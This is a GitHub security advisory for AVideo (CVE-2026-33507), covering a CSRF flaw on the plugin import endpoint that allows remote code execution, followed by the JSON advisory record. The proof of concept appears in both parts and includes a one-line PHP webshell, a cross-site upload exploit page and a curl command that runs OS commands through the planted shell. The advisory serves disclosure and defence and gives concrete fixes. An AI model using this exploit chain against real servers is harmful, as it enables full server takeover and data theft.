GHSA-HV36-P4W4-6VMJ

Vulnerability from github – Published: 2026-03-20 21:47 – Updated: 2026-03-25 20:31
VLAI
Summary
AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload
Details

Summary

The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookie_samesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.

Details

The root cause has two components working together:

1. SameSite=None on session cookies (objects/include_config.php:134-137):

if ($isHTTPS) {
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.

2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):

if (!User::isAdmin()) {
    $obj->msg = "You are not admin";
    die(json_encode($obj));
}

The endpoint only checks User::isAdmin() via the session. There is: - No CSRF token validation (the verifyToken/globalToken mechanism used elsewhere is absent) - No allowOrigin() call (contrast with objects/videoAddNew.json.php which calls allowOrigin() at line 8) - No Referer or Origin header validation - No requirement for custom headers (e.g., X-Requested-With)

The upload form at view/managerPluginUpload.php also contains no CSRF token — it's a plain <form enctype="multipart/form-data"> with a file input.

Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible plugin/ directory — is the objective.

Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.

PoC

Step 1: Create the malicious plugin ZIP

mkdir -p EvilPlugin
# Main file — passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
    public function getTags() { return array(); }
    public function getDescription() { return "test"; }
    public function getName() { return "EvilPlugin"; }
    public function getUUID() { return "evil-0000-0000-0000"; }
    public function getPluginVersion() { return "1.0"; }
    public function getEmptyDataObject() { return new stdClass(); }
}
PLUG

# Secondary file — webshell, NOT checked for PluginAbstract
cat > EvilPlugin/cmd.php << 'SHELL'
<?php if(isset($_GET['c'])) system($_GET['c']); ?>
SHELL

zip -r evil-plugin.zip EvilPlugin/

Step 2: Host the CSRF exploit page

<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php
// In practice, the attacker would embed the base64-encoded ZIP bytes here
async function exploit() {
    const zipResp = await fetch('evil-plugin.zip');
    const zipBlob = await zipResp.blob();

    const formData = new FormData();
    formData.append('input-b1', zipBlob, 'evil-plugin.zip');

    fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
        method: 'POST',
        body: formData,
        mode: 'no-cors',
        credentials: 'include'
    });
}
exploit();
</script>
</body>
</html>

Step 3: Admin visits attacker's page while logged into AVideo over HTTPS

The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.

Step 4: Attacker accesses the webshell

curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

  • Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.
  • Full server compromise: The webshell runs as the web server user (www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation.
  • No attacker account needed: The attacker requires zero privileges on the target system — only that an admin visits a page they control.
  • Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The no-cors mode means no visible error or redirect.

Recommended Fix

1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):

// After the isAdmin() check at line 18, add:
if (!User::isAdmin()) {
    $obj->msg = "You are not admin";
    die(json_encode($obj));
}

// Add CSRF protection
allowOrigin();

// Also validate a CSRF token
if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {
    $obj->msg = "Invalid CSRF token";
    die(json_encode($obj));
}

2. Update the upload form in view/managerPluginUpload.php to include the token:

<form enctype="multipart/form-data">
    <input type="hidden" name="globalToken" value="<?php echo getToken(); ?>">
    <input id="input-b1" name="input-b1" type="file" class="">
</form>

And pass it in the JavaScript upload config:

$('#input-b1').fileinput({
    uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',
    uploadExtraData: { globalToken: $('input[name=globalToken]').val() },
    // ...
});

3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T21:47:50Z",
    "nvd_published_at": "2026-03-23T17:16:51Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = \u0027None\u0027` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.\n\n## Details\n\nThe root cause has two components working together:\n\n**1. SameSite=None on session cookies (`objects/include_config.php:134-137`):**\n\n```php\nif ($isHTTPS) {\n    ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n    ini_set(\u0027session.cookie_secure\u0027, \u00271\u0027);\n}\n```\n\nThis explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.\n\n**2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):**\n\n```php\nif (!User::isAdmin()) {\n    $obj-\u003emsg = \"You are not admin\";\n    die(json_encode($obj));\n}\n```\n\nThe endpoint only checks `User::isAdmin()` via the session. There is:\n- No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent)\n- No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8)\n- No `Referer` or `Origin` header validation\n- No requirement for custom headers (e.g., `X-Requested-With`)\n\nThe upload form at `view/managerPluginUpload.php` also contains no CSRF token \u2014 it\u0027s a plain `\u003cform enctype=\"multipart/form-data\"\u003e` with a file input.\n\n**Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: \u0027no-cors\u0027` and `credentials: \u0027include\u0027` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect \u2014 plugin installation and PHP file extraction to the web-accessible `plugin/` directory \u2014 is the objective.\n\n**Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it\u0027s a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection.\n\n## PoC\n\n**Step 1: Create the malicious plugin ZIP**\n\n```bash\nmkdir -p EvilPlugin\n# Main file \u2014 passes PluginAbstract validation\ncat \u003e EvilPlugin/EvilPlugin.php \u003c\u003c \u0027PLUG\u0027\n\u003c?php\nclass EvilPlugin extends PluginAbstract {\n    public function getTags() { return array(); }\n    public function getDescription() { return \"test\"; }\n    public function getName() { return \"EvilPlugin\"; }\n    public function getUUID() { return \"evil-0000-0000-0000\"; }\n    public function getPluginVersion() { return \"1.0\"; }\n    public function getEmptyDataObject() { return new stdClass(); }\n}\nPLUG\n\n# Secondary file \u2014 webshell, NOT checked for PluginAbstract\ncat \u003e EvilPlugin/cmd.php \u003c\u003c \u0027SHELL\u0027\n\u003c?php if(isset($_GET[\u0027c\u0027])) system($_GET[\u0027c\u0027]); ?\u003e\nSHELL\n\nzip -r evil-plugin.zip EvilPlugin/\n```\n\n**Step 2: Host the CSRF exploit page**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cscript\u003e\n// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php\n// In practice, the attacker would embed the base64-encoded ZIP bytes here\nasync function exploit() {\n    const zipResp = await fetch(\u0027evil-plugin.zip\u0027);\n    const zipBlob = await zipResp.blob();\n\n    const formData = new FormData();\n    formData.append(\u0027input-b1\u0027, zipBlob, \u0027evil-plugin.zip\u0027);\n\n    fetch(\u0027https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php\u0027, {\n        method: \u0027POST\u0027,\n        body: formData,\n        mode: \u0027no-cors\u0027,\n        credentials: \u0027include\u0027\n    });\n}\nexploit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 3: Admin visits attacker\u0027s page while logged into AVideo over HTTPS**\n\nThe browser sends the multipart/form-data POST with the admin\u0027s `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`.\n\n**Step 4: Attacker accesses the webshell**\n\n```bash\ncurl \u0027https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id\u0027\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin\u0027s session.\n- **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation.\n- **No attacker account needed:** The attacker requires zero privileges on the target system \u2014 only that an admin visits a page they control.\n- **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect.\n\n## Recommended Fix\n\n**1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix):\n\n```php\n// After the isAdmin() check at line 18, add:\nif (!User::isAdmin()) {\n    $obj-\u003emsg = \"You are not admin\";\n    die(json_encode($obj));\n}\n\n// Add CSRF protection\nallowOrigin();\n\n// Also validate a CSRF token\nif (empty($_POST[\u0027globalToken\u0027]) || !verifyToken($_POST[\u0027globalToken\u0027])) {\n    $obj-\u003emsg = \"Invalid CSRF token\";\n    die(json_encode($obj));\n}\n```\n\n**2. Update the upload form in `view/managerPluginUpload.php`** to include the token:\n\n```html\n\u003cform enctype=\"multipart/form-data\"\u003e\n    \u003cinput type=\"hidden\" name=\"globalToken\" value=\"\u003c?php echo getToken(); ?\u003e\"\u003e\n    \u003cinput id=\"input-b1\" name=\"input-b1\" type=\"file\" class=\"\"\u003e\n\u003c/form\u003e\n```\n\nAnd pass it in the JavaScript upload config:\n\n```javascript\n$(\u0027#input-b1\u0027).fileinput({\n    uploadUrl: webSiteRootURL + \u0027objects/pluginImport.json.php\u0027,\n    uploadExtraData: { globalToken: $(\u0027input[name=globalToken]\u0027).val() },\n    // ...\n});\n```\n\n**3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.",
  "id": "GHSA-hv36-p4w4-6vmj",
  "modified": "2026-03-25T20:31:58Z",
  "published": "2026-03-20T21:47:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hv36-p4w4-6vmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/d1bc1695edd9ad4468a48cea0df6cd943a2635f3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…